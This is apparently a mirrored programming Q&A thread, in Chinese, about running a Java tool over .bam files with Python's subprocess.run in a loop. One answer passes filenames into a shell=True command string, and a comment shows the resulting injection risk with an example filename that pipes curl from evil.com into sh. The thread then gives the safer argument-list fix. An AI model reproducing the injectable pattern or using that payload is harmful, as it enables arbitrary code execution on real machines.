Python 循环内的Subprocess.run()

Python 循环内的Subprocess.run(),python,for-loop,subprocess,Python,For Loop,Subprocess,我想使用subprocess.run()循环文件,类似于: import os import subprocess path = os.chdir("/test") files = [] for file in os.listdir(path): if file.endswith(".bam"): files.append(file) for file in files: process = subprocess.run("java -jar picard

我想使用subprocess.run()循环文件,类似于:

import os
import subprocess

path = os.chdir("/test")
files = []
for file in os.listdir(path):
     if file.endswith(".bam"):
        files.append(file)

for file in files:
     process = subprocess.run("java -jar picard.jar CollectHsMetrics I=file", shell=True)

如何正确地调用这些文件?

看起来您可能过于复杂了

import os
import subprocess

path = os.chdir("/test")
for file in os.listdir(path):
     if file.endswith(".bam"):
        subprocess.run("java -jar picard.jar CollectHsMetrics I={}".format(file), shell=True)

shell=True
如果在其中包含用户输入,则不安全@eatmeimadanish的答案允许任何可以在
/test
中编写文件的人在您的机器上执行任意代码。这是一个巨大的安全漏洞

相反,为
子流程.run
调用提供命令行参数列表。您可能还希望传入
check=True
——否则,如果java命令失败,您的程序将毫无例外地完成

import os
import subprocess

os.chdir("/test")
for file in os.listdir("."):
    if file.endswith(".bam"):
        subprocess.run(
            ["java", "-jar", "picard.jar", "CollectHsMetrics", "I=" + file], check=True)

此代码存在安全漏洞。如果有一个文件
,该怎么办;curl evil.com | sh。bam
/test
中?只有当文件夹对外部交互打开时,这才是一种风险。我在用户参数的框架内回答了这个问题。如果您有更好的建议,请提供更好的答案。不要使用
shell=True
。找到
java
二进制文件的绝对路径,并用文件名调用它。